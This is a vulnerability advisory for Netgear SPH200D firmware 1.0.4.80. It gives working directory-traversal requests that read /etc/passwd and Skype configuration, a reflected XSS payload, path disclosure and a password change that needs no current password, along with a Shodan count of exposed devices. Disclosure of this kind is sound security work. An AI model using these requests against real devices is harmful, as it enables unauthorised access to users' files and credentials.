Device Name: SPH200D Vendor: Netgear ============ Vulnerable Firmware Releases: ============ Firmware Version : 1.0.4.80 Kernel Version : 4.1-18 Web Server Version : 1.5 ============ Device Description: ============ http://support.netgear.com/product/SPH200D ============ Shodan Torks ============ Shodan Search: SPH200D => Results 337 devices ============ Vulnerability Overview: ============ * directory traversal: Access local files of the device. You need to be authenticated or you have to find other methods for accessing the device. Request: http://192.168.178.103/../../etc/passwd Response: HTTP/1.0 200 OK Content-type: text/plain Expires: Sat, 24 May 1980.7:00:00.GMT Pragma: no-cache Server: simple httpd 1.0 root:x:0:0:root:/root:/bin/bash demo:x:5000:100:Demo User:/home/demo:/bin/bash nobody:x:65534:65534:Nobody:/htdocs:/bin/bash If you request a directory you will get a very nice directory listing for browsing through the filesystem: /../../var/ HTTP/1.0 200 OK Content-type: text/html Expires: Sat, 24 May 1980.7:00:00.GMT Pragma: no-cache Server: simple httpd 1.0 <H1>Index of ../../var/</H1> <p><a href="/../../var/.">.</a></p> <p><a href="/../../var/..">..</a></p> <p><a href="/../../var/.Skype">.Skype</a></p> <p><a href="/../../var/jffs2">jffs2</a></p> <p><a href="/../../var/htdocs">htdocs</a></p> <p><a href="/../../var/cnxt">cnxt</a></p> <p><a href="/../../var/ppp">ppp</a></p> <p><a href="/../../var/conf">conf</a></p> <p><a href="/../../var/bin">bin</a></p> <p><a href="/../../var/usr">usr</a></p> <p><a href="/../../var/tmp">tmp</a></p> So with this information you are able to access the skype configuration with the following request: /../../var/.Skype/<user>/config.xml Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/LFI-01.preview.png * For changing the current password there is no request to the current password With this vulnerability an attacker is able to change the current password without knowing it. The attacker needs access to an authenticated browser. * local path disclosure: Request: http://192.168.178.103/%3C/ Response: The requested URL '/var/htdocs/%3C/' was not found on this server. Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/local-path-disclosure.png * reflected Cross Site Scripting Appending scripts to the URL reveals that this is not properly validated for malicious input. http://192.168.178.102/network-dhcp.html4f951<script>alert(1)</script>e51c012502f Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/XSSed-IE6.png ============ Solution ============ No known solution available. ============ Credits ============ The vulnerability was discovered by Michael Messner Mail: devnull#at#s3cur1ty#dot#de Web: http://www.s3cur1ty.de Advisory URL: http://www.s3cur1ty.de/m1adv2013-002 Twitter: @s3cur1ty_de ============ Time Line: ============ August 2012 - discovered vulnerability 07.08.2012 - reported vulnerability to Netgear 08.08.2012 - case closed by Netgear 29.01.2013 - public release ===================== Advisory end =====================